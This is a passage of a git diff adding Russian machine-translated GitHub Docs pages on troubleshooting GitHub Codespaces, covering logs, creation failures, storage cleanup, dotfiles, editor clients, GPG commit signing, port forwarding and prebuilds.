различными расширениями, используемыми в {% data variables.product.prodname_vscode_shortname %}. Вы увидите журналы проверки подлинности {% data variables.product.prodname_github_codespaces %}, {% data variables.product.prodname_dotcom %} и Git, а также любые другие включенные расширения. + +{% endvscode %} + +{% webui %} + +## Журналы консоли браузера + +Эти журналы полезны только в том случае, если вы хотите отладить проблемы с использованием {% data variables.product.prodname_github_codespaces %} в браузере. Они полезны для отладки проблем при создании и подключении к {% data variables.product.prodname_github_codespaces %}. + +1. В окне браузера с пространством codespace, которое требуется отладить, откройте окно средств разработчика. +1. Откройте вкладку "Консоль" и щелкните **ошибки** на левой боковой панели, чтобы отобразить только ошибки. +1. В области журнала справа щелкните правой кнопкой мыши и выберите пункт **Сохранить как**, чтобы сохранить копию ошибок на локальном компьютере. + ![Сохранение ошибок](/assets/images/help/codespaces/browser-console-log-save.png) + +{% endwebui %} + +{% jetbrains %} + +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. В окне инструментов {% data variables.product.prodname_github_codespaces %} щелкните значок журнала. + + ![Снимок экрана: кнопка "Журнал"](/assets/images/help/codespaces/jetbrains-plugin-icon-log.png) + +## Журналы JetBrains + +Вы можете скачать журналы для удаленной интегрированной среды разработки JetBrains и локального клиентского приложения, перейдя в меню **Справка** в клиентском приложении JetBrains и выбрав **Сбор журналов узлов и клиентов**. + +{% endjetbrains %} + +## Дополнительные материалы + +- [Просмотр журналов аудита организации для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces) +- [Просмотр журналов безопасности для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces) diff --git a/translations/ru-RU/content/codespaces/troubleshooting/index.md b/translations/ru-RU/content/codespaces/troubleshooting/index.md new file mode 100644 index 000000000000..52f1aff29ff8 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/index.md @@ -0,0 +1,31 @@ +--- +title: Устранение неполадок с GitHub Codespaces +shortTitle: Troubleshooting +intro: 'Эти руководства содержат сведения об устранении неполадок с {% data variables.product.prodname_github_codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/codespaces-reference/troubleshooting-your-codespace + - /github/developing-online-with-github-codespaces/troubleshooting-your-codespace + - /github/developing-online-with-codespaces/troubleshooting-your-codespace + - /codespaces/working-with-your-codespace/troubleshooting-your-codespace +children: + - /github-codespaces-logs + - /exporting-changes-to-a-branch + - /troubleshooting-creation-and-deletion-of-codespaces + - /troubleshooting-your-connection-to-github-codespaces + - /troubleshooting-prebuilds + - /troubleshooting-dotfiles-for-codespaces + - /troubleshooting-port-forwarding-for-github-codespaces + - /troubleshooting-github-codespaces-clients + - /troubleshooting-gpg-verification-for-github-codespaces + - /working-with-support-for-github-codespaces +ms.openlocfilehash: 8704695a9ae39750bcc94229a62bb7eabcc6cdbe +ms.sourcegitcommit: 47e03737d09bed84dfedb7be5924d893d34ea1a8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167096' +--- + diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md new file mode 100644 index 000000000000..9be769f3bbdd --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md @@ -0,0 +1,101 @@ +--- +title: Устранение неполадок при создании и удалении codespace +intro: 'В этой статье описаны действия по устранению распространенных проблем, которые могут возникнуть при создании или удалении codespace, включая проблемы с хранилищем и конфигурацией.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Creation and deletion +ms.openlocfilehash: 09c3a73ec5e41f0170f1d3cd66df139bb2a497e5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158696' +--- +## Создание codespace + +### Нет доступа для создания codespace +{% data variables.product.prodname_github_codespaces %} доступен не для всех репозиториев. Если параметры для создания codespace не отображаются, {% data variables.product.prodname_github_codespaces %} может быть недоступно для этого репозитория. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#access-to-codespaces). + +При условии, что вы используете {% data variables.product.prodname_github_codespaces %} в личной учетной записи или настроили метод оплаты и предельную сумму расходов, вы сможете создавать codespace для общедоступных репозиториев. Однако вы можете создать пространство кода для частного репозитория, только если вы можете отправить изменения в репозиторий или создать вилку репозитория. + +Дополнительные сведения о включенном использовании для личных учетных записей и настройке предельной суммы расходов см. в разделах [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces) и [Управление предельной суммой расходов для {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces). + +### Codespace не открывается при создании + +Если вы создаете codespace, а он не открывается: + +1. Попробуйте перезагрузить страницу, если возникла проблема с кэшированием или отчетами. +2. Перейдите на свою страницу {% data variables.product.prodname_github_codespaces %}: https://github.com/codespaces и проверьте, указан ли там новый codespace. Возможно, процесс успешно создал codespace, но не смог отправить отчет в ваш браузер. Если новый codespace указан в списке, его можно открыть непосредственно с этой страницы. +3. Повторите попытку создания codespace для репозитория, чтобы исключить временный сбой связи. + +Если по-прежнему не удается создать codespace для репозитория, в котором доступна {% data variables.product.prodname_github_codespaces %}, {% data reusables.codespaces.contact-support %} + +### Сбой при создании Codespace + +Если создание codespace завершается сбоем, скорее всего, это может быть вызвано временной проблемой инфраструктуры в облаке, например с подготовкой виртуальной машины для codespace. Менее распространенной причиной сбоя является то, что сборка контейнера занимает больше часа. В этом случае сборка отменяется, и создание codespace завершится ошибкой. + +{% note %} + +**Примечание:** Пространство кода, которое не было создано, никогда не будет пригодным для использования и должно быть удалено. Дополнительные сведения см. в разделе [Удаление codespace](/codespaces/developing-in-codespaces/deleting-a-codespace). + +{% endnote %} + +Если вы создаете codespace и создание завершается сбоем: + +1. Проверьте [страницу состояния](https://githubstatus.com) {% data variables.product.prodname_dotcom %} на наличие активных инцидентов. +1. Перейдите на [страницу {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces), удалите codespace и создайте новое codespace. +1. Если контейнер создается, просмотрите журналы, которые являются потоковой передачей, и убедитесь, что сборка не зависла. Сборка контейнера, которая занимает больше одного часа, будет отменена, что приведет к сбою создания. + + Один из распространенных сценариев, в котором это может произойти, — если у вас запущен скрипт, который запрашивает ввод данных пользователем и ожидает ответа. В этом случае удалите интерактивный запрос, чтобы сборка выполнялось неинтерактивно. + + {% note %} + + **Примечание**. Чтобы просмотреть журналы во время сборки, выполните указанные ниже действия. + * В браузере щелкните **Просмотреть журналы.** + + ![Снимок экрана: пользовательский веб-интерфейс Codespaces с выделенным элементом ссылки "Просмотреть журналы"](/assets/images/help/codespaces/web-ui-view-logs.png) + + * В классическом приложении VS Code щелкните **Сборка codespace** в появившемся разделе "Настройка удаленного подключения". + + ![Снимок экрана: VS Code с выделенным элементом "Сборка codespace"](/assets/images/help/codespaces/vs-code-building-codespace.png) + + {% endnote %} +2. Если у вас есть контейнер, сборка которых занимает много времени, рассмотрите возможность использования предварительных сборок для ускорения создания codespace. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +## Удаление codespace + +Codespace может быть удалено только с помощью: +* Пользователь, создавший codespace. +* Владелец организации для принадлежащей организации codespace. +* Автоматическое удаление по окончании периода хранения. + +Дополнительные сведения см. в разделах [Удаление codespace](/codespaces/developing-in-codespaces/deleting-a-codespace) и [Настройка автоматического удаления codespace.](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces) + +## Хранилище контейнеров + +При создании codespace он имеет ограниченный объем хранилища, и со временем может потребоваться освободить место. Попробуйте выполнить любую из следующих команд в терминале {% data variables.product.prodname_github_codespaces %}, чтобы освободить место в хранилище. + +- Удалите пакеты, которые больше не используются, с помощью `sudo apt autoremove`. +- Очистите кэш apt с помощью `sudo apt clean`. +- Просмотрите 10 самых больших файлов в codespace с помощью `sudo find / -printf '%s %p\n'| sort -nr | head -10`. +- Удалите ненужные файлы, такие как артефакты сборки и журналы. + +Некоторые более разрушительные варианты: + +- Удалите неиспользуемые образы Docker, сети и контейнеры с помощью `docker system prune` (добавьте `-a`, чтобы удалить все образы, и `--volumes`, если хотите удалить все тома). +- Удалите неотслеживаемые файлы из рабочего дерева: `git clean -i`. + +## Конфигурация + +{% data reusables.codespaces.recovery-mode %} + +``` +This codespace is currently running in recovery mode due to a container error. +``` +Просмотрите журналы создания и при необходимости обновите конфигурацию контейнера разработки. Дополнительные сведения см. в статье [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs). + +Затем можно попробовать перезапустить codespace или перестроить контейнер. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md new file mode 100644 index 000000000000..16e7293415c7 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-dotfiles-for-codespaces.md @@ -0,0 +1,30 @@ +--- +title: Устранение неполадок с файлами точек для GitHub Codespaces +allowTitleToDifferFromFilename: true +intro: Устранение типичных неполадок с файлами с точкой. +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Dotfiles +ms.openlocfilehash: 699f790e45c71e685ac6b301e8dea1eca2ee6f15 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158688' +--- +Если среде codespace не удается получить параметры конфигурации из файлов с точкой, необходимо выполнить указанные ниже действия по отладке. + +1. Включите файлы точек, выбрав **Автоматическая установка файлов точек** в [личных параметрах {% data variables.product.prodname_github_codespaces %}](https://github.com/settings/codespaces). + + ![Параметр "Автоматически устанавливать файлы с точкой"](/assets/images/help/codespaces/automatically-install-dotfiles.png) + +1. Проверьте `/workspaces/.codespaces/.persistedshare/dotfiles`, чтобы узнать, были ли клонированы файлы с точкой. + - Если файлы с точкой были клонированы, попробуйте вручную перезапустить скрипт установки, чтобы убедиться, что он является исполняемым. + - Если файлы с точкой не были клонированы, проверьте `/workspaces/.codespaces/.persistedshare/EnvironmentLog.txt`, чтобы узнать о возможной проблеме с клонированием. +1. Проверьте `/workspaces/.codespaces/.persistedshare/creation.log` на предмет возможных проблем. Дополнительные сведения см. в разделе [Журналы создания](/codespaces/troubleshooting/codespaces-logs#creation-logs). + +Если получение конфигурации из файлов с точкой осуществляется правильно, но часть конфигурации несовместима со средами codespace, используйте переменную среды `$CODESPACES`, чтобы добавить условную логику для параметров конфигурации, относящихся к конкретной среде codespace. diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md new file mode 100644 index 000000000000..a4c21cac4d48 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md @@ -0,0 +1,118 @@ +--- +title: Устранение неполадок с клиентами GitHub Codespaces +shortTitle: Codespaces clients +intro: 'В этой статье содержатся сведения об устранении неполадок, которые могут возникнуть с клиентом, используемым для {% data variables.product.prodname_github_codespaces %}.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +redirect_from: + - /codespaces/troubleshooting/troubleshooting-codespaces-clients +ms.openlocfilehash: 682160b3b92960487c0709fc411fc2143d18f415 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159901' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +{% webui %} + +## Устранение неполадок веб-клиента {% data variables.product.prodname_vscode %} + +Если у вас возникли проблемы с использованием {% data variables.product.prodname_github_codespaces %} в браузере, который не является Chromium, попробуйте переключиться на браузер на основе Chromium, например Google Chrome или Microsoft Edge. Кроме того, проверьте наличие известных проблем с браузером в репозитории [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen) , выполнив поиск проблем с именем браузера, например [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) или [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari). + +Если у вас возникли проблемы с использованием {% data variables.product.prodname_github_codespaces %} в браузере на основе Chromium, вы можете проверить, возникла ли другая известная проблема с {% data variables.product.prodname_vscode_shortname %} в репозитории[`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen). + +### Отличия от локальной работы в {% data variables.product.prodname_vscode_shortname %} + +При открытии codespace в браузере с помощью веб-клиента {% data variables.product.prodname_vscode_shortname %} вы заметите некоторые отличия от работы в локальной рабочей области в классическом приложении {% data variables.product.prodname_vscode_shortname %}. Например, некоторое настраиваемое сочетание клавиш будет отличаться или отсутствовать, а некоторые расширения могут вести себя по-разному. Сводку см. в разделе "[Известные ограничения и адаптации](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" в документации по {% data variables.product.prodname_vscode_shortname %}. + +Вы можете проверить наличие известных проблем и записать новые проблемы с помощью интерфейса {% data variables.product.prodname_vscode_shortname %} в репозитории [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) . + +### {% data variables.product.prodname_vscode %} Insiders + +{% data variables.product.prodname_vscode %} Участники программы предварительной оценки — это наиболее частый выпуск {% data variables.product.prodname_vscode_shortname %}. Он содержит все последние функции и исправления ошибок, но иногда может содержать новые проблемы, которые приводят к неисправной сборке. + +Если вы используете сборку программы предварительной оценки и заметили реакцию на проблемы в работе, рекомендуется переключиться на {% data variables.product.prodname_vscode %} (стабильная версия) и повторить попытку. + +Щелкните {% octicon "gear" aria-label="The manage icon" %} в левом нижнем углу редактора и выберите **Переключиться на стабильную версию...**. Если веб-клиент {% data variables.product.prodname_vscode_shortname %} не загружается или значок {% octicon "gear" aria-label="The manage icon" %} недоступен, можно принудительно переключиться на {% data variables.product.prodname_vscode %} Stable, добавив `?vscodeChannel=stable` к URL-адресу codespace и загрузив codespace по нему. + +Если проблема не устранена в {% data variables.product.prodname_vscode %} Stable, проверьте наличие известных проблем и при необходимости зафиксировать новую проблему в интерфейсе {% data variables.product.prodname_vscode_shortname %} в репозитории [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) . + +{% endwebui %} + +{% vscode %} + +## Устранение неполадок с {% data variables.product.prodname_vscode_shortname %} + +При открытии пространства кода в классическом приложении {% data variables.product.prodname_vscode_shortname %} вы можете заметить несколько различий по сравнению с работой в локальной рабочей области, но взаимодействие должно быть аналогичным. + +При возникновении проблем можно проверить наличие известных проблем и записать новые проблемы в {% data variables.product.prodname_vscode_shortname %} в репозитории [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) . + +### {% data variables.product.prodname_vscode %} Insiders + +{% data variables.product.prodname_vscode %} Участники программы предварительной оценки — это наиболее частый выпуск {% data variables.product.prodname_vscode_shortname %}. Он содержит все последние функции и исправления ошибок, но иногда может содержать новые проблемы, которые приводят к неисправной сборке. + +Если вы используете сборку программы предварительной оценки и заметили реакцию на проблемы в работе, рекомендуется переключиться на {% data variables.product.prodname_vscode %} (стабильная версия) и повторить попытку. + +Чтобы переключиться на {% data variables.product.prodname_vscode %} Stable, закройте приложение {% data variables.product.prodname_vscode %}, откройте приложение {% data variables.product.prodname_vscode %} Stable и снова откройте codespace. + +Если проблема не устранена в {% data variables.product.prodname_vscode %} Stable, проверьте наличие известных проблем и при необходимости зафиксировать новую проблему в интерфейсе {% data variables.product.prodname_vscode_shortname %} в репозитории [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) . + +{% endvscode %} + +{% jetbrains %} + +## Устранение неполадок с URI JetBrains + +### Проблемы с производительностью + +Тип компьютера {% data variables.product.prodname_github_codespaces %} с по крайней мере 4 ядрами рекомендуется использовать для запуска любого из URI JetBrains. Дополнительные сведения см. в разделе [Изменение типа компьютера для кодового пространства](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace). + +Если вы используете компьютер с 4 или более ядрами и производительность JetBrains выглядит немного вялой, может потребоваться увеличить максимальный размер кучи Java. + +Рекомендуется установить максимальный размер кучи в диапазоне от 2862 МиБ (3 ГБ) до 60 % ОЗУ удаленного узла. + +Ниже приведены некоторые рекомендации в качестве начальной точки, которую можно настроить в зависимости от размера базы кода и памяти, необходимой для запуска приложения. Например, если у вас есть большая или сложная база кода, может потребоваться увеличить размер кучи. Если у вас есть приложение большего размера, можно задать меньший размер кучи, чтобы предоставить приложению больше памяти. + +| Тип компьютера | Максимальный размер кучи | +| -------------- | ----------------- | +| 4 ядра | 3 ГБ | +| 8 ядер | 4 ГБ | +| 16 или 32 ядра | 8 ГБ | + +1. В левой части панели навигации в верхней части окна приложения щелкните имя codespace. + + ![Снимок экрана: кнопка "Ресурсы" в JetBrains](/assets/images/help/codespaces/jetbrains-resources-button.png) + +1. На вкладке Производительность обратите внимание на сведения о загрузке ЦП и памяти. Они указывают, перегружен ли компьютер. + + ![Снимок экрана: кнопка Localhost в JetBrains](/assets/images/help/codespaces/jetbrains-performance.png) + +1. Перейдите на вкладку Параметры и измените размер кучи, увеличив его до не более 60 % доступной памяти для codespace. + + ![Снимок экрана: параметр максимального размера кучи](/assets/images/help/codespaces/jetbrains-heap-setting.png) + +1. Щелкните **Сохранить и перезапустить**. + +### Проблемы с SSH-подключением + +Чтобы подключиться через SSH-сервер, работающий в codespace, необходимо иметь ключ SSH в каталоге `~/.ssh` (MacOS и Linux) или `%HOMEPATH%\.ssh` каталоге (Windows), который уже был добавлен в учетную запись {% data variables.product.prodname_dotcom %}. Если в этом каталоге нет ключей, {% data variables.product.prodname_cli %} создаст ключи автоматически. Дополнительные сведения см. в разделе [Добавление адреса нового ключа SSH в учетную запись {% data variables.product.prodname_dotcom %}](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account?platform=windows&tool=webui). + +При возникновении проблем с проверкой ключа попробуйте обновить версию {% data variables.product.prodname_cli %}. Дополнительные сведения см. в [инструкциях по обновлению](https://github.com/cli/cli#installation) в файле сведений для {% data variables.product.prodname_cli %}. + +### Проблемы с интегрированной среды разработки JetBrains + +Сведения о проблемах, связанных с используемой интегрированной среды разработки JetBrains или приложением шлюза JetBrains, см. в разделе Поддержка [продуктов](https://www.jetbrains.com/support/) на веб-сайте JetBrains. + +{% endjetbrains %} + diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md new file mode 100644 index 000000000000..715d14454a19 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md @@ -0,0 +1,117 @@ +--- +title: Устранение неполадок с проверкой GPG для GitHub Codespaces +shortTitle: GPG verification +intro: 'В этой статье приводятся рекомендации по устранению ошибок, связанных с подписыванием фиксаций в codespaces.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +ms.openlocfilehash: f3a6537d1ee9087803054347689591c2b217e42e +ms.sourcegitcommit: 47e03737d09bed84dfedb7be5924d893d34ea1a8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167116' +--- +Если вы включите проверку GPG, {% data variables.product.prodname_github_codespaces %} автоматически подписывает фиксации в codespaces, создаваемых из выбранных репозиториев. Дополнительные сведения см. в разделе [Управление проверкой GPG для {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces). + +{% data reusables.codespaces.gpg-in-active-codespaces %} + +Если {% data variables.product.prodname_github_codespaces %} не удается подписать фиксацию, может появиться следующая ошибка. + +```Shell +$ git commit -m 'Initial commit' +error: gpg failed to sign the data +fatal: failed to write commit object +``` + +Эта ошибка может возникнуть, если: + +- Вы отключили проверку GPG и пытаетесь выполнить обычную фиксацию без знака в существующем пространстве кода. +- Вы включили проверку GPG, но переопределили конфигурацию Git, необходимую для подписывания фиксаций {% data variables.product.prodname_github_codespaces %}, например путем связывания {% data variables.product.prodname_github_codespaces %} с репозиторием файлов точек, содержащим файлы конфигурации Git. + +## Ошибки после отключения проверки GPG + +При включении проверки GPG {% data variables.product.prodname_github_codespaces %} по умолчанию подписывает все фиксации, выполняемые в codespaces. Для этого для параметра конфигурации `commit.gpgsign` Git задано `true`значение . + +Если вы отключили проверку GPG и работаете в существующем codespace, это значение по-прежнему будет иметь значение `true`. Это означает, что {% data variables.product.prodname_github_codespaces %} попытается подписать фиксации, но не сможет это сделать, так как вы отключили параметр проверки GPG. + +Чтобы сохранить регулярные фиксации без знака в codespace, сбросьте `commit.gpgsign` значение по умолчанию , введя `false` следующую команду в терминале. + +```Shell{:copy} +git config --unset commit.gpgsign +``` + +Чтобы убедиться, что значение было правильно удалено из конфигурации, можно ввести `git config --list`. Значение для `commit.gpgsign` не должно отображаться в списке. + +## Ошибки, вызванные конфликтующей конфигурацией + +Чтобы автоматически подписать фиксации, {% data variables.product.prodname_github_codespaces %} задает определенные значения конфигурации Git в codespace. Если переопределить значения, заданные {% data variables.product.prodname_github_codespaces %}, вы не сможете подписать фиксации. + +Вы можете случайно переопределить эти значения, если вы связали {% data variables.product.prodname_github_codespaces %} с репозиторием файлов точек, содержащим файлы конфигурации Git. Дополнительные сведения об использовании файлов точек с {% data variables.product.prodname_github_codespaces %} см. в разделе [Персонализация {% data variables.product.prodname_github_codespaces %} для вашей учетной записи](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles). + +### Проверка конфликтующей конфигурации + +Чтобы подписать фиксации с помощью GPG, {% data variables.product.prodname_github_codespaces %} автоматически задает следующие значения конфигурации Git на уровне системы. + +| Параметр конфигурации | Обязательное значение | +| --------------------- | -------------- | +| `user.name` | Должно соответствовать полному имени, заданному в профиле {% data variables.product.prodname_dotcom %} | +| `credential.helper` | Нужно задать значение `/.codespaces/bin/gitcredential_github.sh` | +| `gpg.program` | Нужно задать значение `/.codespaces/bin/gh-gpgsign` | + +Чтобы убедиться, что эти значения правильно заданы в codespace, можно использовать `git config --list --show-origin` команду . Так как {% data variables.product.prodname_github_codespaces %} задает эту конфигурацию на уровне системы, необходимые параметры конфигурации должны поступать из `/usr/local/etc/gitconfig`. + +```Shell +$ git config --list --show-origin +file:/usr/local/etc/gitconfig credential.helper=/.codespaces/bin/gitcredential_github.sh +file:/usr/local/etc/gitconfig user.name=Mona Lisa +file:/usr/local/etc/gitconfig gpg.program=/.codespaces/bin/gh-gpgsign +``` + +В дополнение к значениям, перечисленным выше, могут возникнуть ошибки, если файлы точек, используемые в codespaces, содержат любое из следующих значений. + +- Значение `user.signingkey` конфигурации Git +- Значение `commit.gpgsign` конфигурации Git +- Установка вручную `GITHUB_TOKEN` + +### Удаление конфликтующей конфигурации + +Если вы хотите сохранить автоматическую проверку GPG для {% data variables.product.prodname_github_codespaces %}, необходимо удалить все конфликтующие конфигурации из файлов точек, используемых в codespaces. + +Например, если глобальный `.gitconfig` файл на локальном `gpg.program` компьютере содержит значение и этот файл отправлен в репозиторий файлов точек, связанный с {% data variables.product.prodname_github_codespaces %}, может потребоваться удалить `gpg.program` из этого файла и установить его на уровне системы на локальном компьютере. + +{% note %} + +**Примечание:** Любые изменения в репозитории dotfiles будут применяться к новым пространствам кода, которые вы создаете, но не к существующим пространствам кода. + +{% endnote %} + +1. На локальном компьютере откройте терминал. +2. Чтобы удалить конфликтующее значение из `~/.gitconfig` (Mac/Linux) или `C:\Users\YOUR-USER\.gitconfig` (Windows), используйте `git config --global --unset` команду . + + ```Shell + $ git config --global --unset gpg.program + ``` +3. Отправьте изменение в репозиторий файлов точек на {% data variables.product.prodname_dotcom %}. +4. При необходимости, чтобы сохранить локальную конфигурацию, снова задайте значение в файле конфигурации Git, который не отправляется в репозиторий файлов точек. + + Например, с помощью флага `--system` можно задать конфигурацию в файле системного уровня в `PATH/etc/gitconfig`, где `PATH` — это каталог, в котором Git установлен в системе. + + ```Shell + $ git config --system gpg.program gpg2 + ``` + +Кроме того, если репозиторий dotfiles содержит скрипт установки в распознаваемом файле, например `install.sh`, можно использовать `$CODESPACES` переменную среды для добавления условной логики, например только в `gpg.program` том случае, если вы не находитесь в пространстве кода. В следующем примере возвращает значение `true` , `-z "$CODESPACES"` если вы не находитесь в пространстве кода. + +```Shell{:copy} +if [ -z "$CODESPACES" ]; then + git config --global gpg.program gpg2 +fi +``` + +## Дополнительные материалы +- "[Сведения о проверке подписи фиксации](/authentication/managing-commit-signature-verification/about-commit-signature-verification)" +- [`git config`](https://git-scm.com/docs/git-config) в официальной документации по Git diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md new file mode 100644 index 000000000000..77a49c766f88 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-port-forwarding-for-github-codespaces.md @@ -0,0 +1,31 @@ +--- +title: Устранение неполадок с перенаправлением портов для GitHub Codespaces +intro: Действия по устранению распространенных проблем с перенаправлением портов. +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Port forwarding +redirect_from: + - /codespaces/troubleshooting/troubleshooting-port-forwarding-for-codespaces +ms.openlocfilehash: 828150ca05c18cb1106f5a3c883331785b6bce2e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159152' +--- +Когда приложение, работающее в среде codespace, подключает порт к консоли, {% data variables.product.prodname_github_codespaces %} обнаруживает шаблон URL-адреса localhost и автоматически переадресует порт. Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). + +Если порт не переадресуется автоматически, его можно переадресовать вручную. Дополнительные сведения см. в разделе [Переадресация порта](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#forwarding-a-port). + +Если перенаправление портов настроено, проверьте следующее: + +- Используйте ссылку в всплывающем сообщении уведомления, которое появится в правом нижнем углу {% data variables.product.prodname_vscode_shortname %}, или щелкните URL-адрес в терминале, чтобы открыть переадресованный порт. Ввод `localhost:8000` (в качестве примера) на локальном компьютере работать не будет, если вы подключены к codespace через браузер. +- Убедитесь, что приложение по-прежнему запущено, из codespace. Если среда codespace остановилась после периода бездействия, необходимо перезапустить приложение после ее перезапуска. + +Как правило, вы можете сделать переадресованный порт общедоступным либо доступным в организации, которая владеет репозиторием. Дополнительные сведения см. в разделе [Переадресация портов в кодовом пространстве](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace). Если один из вариантов общей видимости или видимости для организации либо они оба недоступны, это означает, что настроена политика на уровне организации. Дополнительные сведения см. в разделе [Ограничение видимости переадресованных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports). + +{% data reusables.codespaces.forwarded-ports-environment-variable %} diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-prebuilds.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-prebuilds.md new file mode 100644 index 000000000000..91d2692d2817 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-prebuilds.md @@ -0,0 +1,99 @@ +--- +title: Устранение неполадок предварительных сборок +shortTitle: Codespaces prebuilds +intro: 'Чтобы создавать codespace быстрее, можно использовать предварительные сборки. В этой статье приведены действия для устранения распространенных проблем с предварительными сборками.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: b8c45f9eae6094b78026d055ebea27c3748a8681 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158888' +--- +Дополнительные сведения о предварительных сборках {% data variables.product.prodname_github_codespaces %} см. в разделе [Предварительная сборка codespaces](/codespaces/prebuilding-your-codespaces). + +## Проверка, было ли пространство кода создано из предварительной сборки + +При создании пространства кода вы можете выбрать тип виртуальной машины, которую хотите использовать. Если для этого типа виртуальной машины доступна предварительная сборка, рядом с ней отображается {% octicon "zap" aria-label="The zap icon" %} Предварительная сборка готова". + +![Список доступных типов виртуальных машин](/assets/images/help/codespaces/choose-custom-machine-type.png) + +Если для параметра редактора {% data variables.product.prodname_github_codespaces %} задано значение "{% data variables.product.prodname_vscode %} для Интернета", на странице 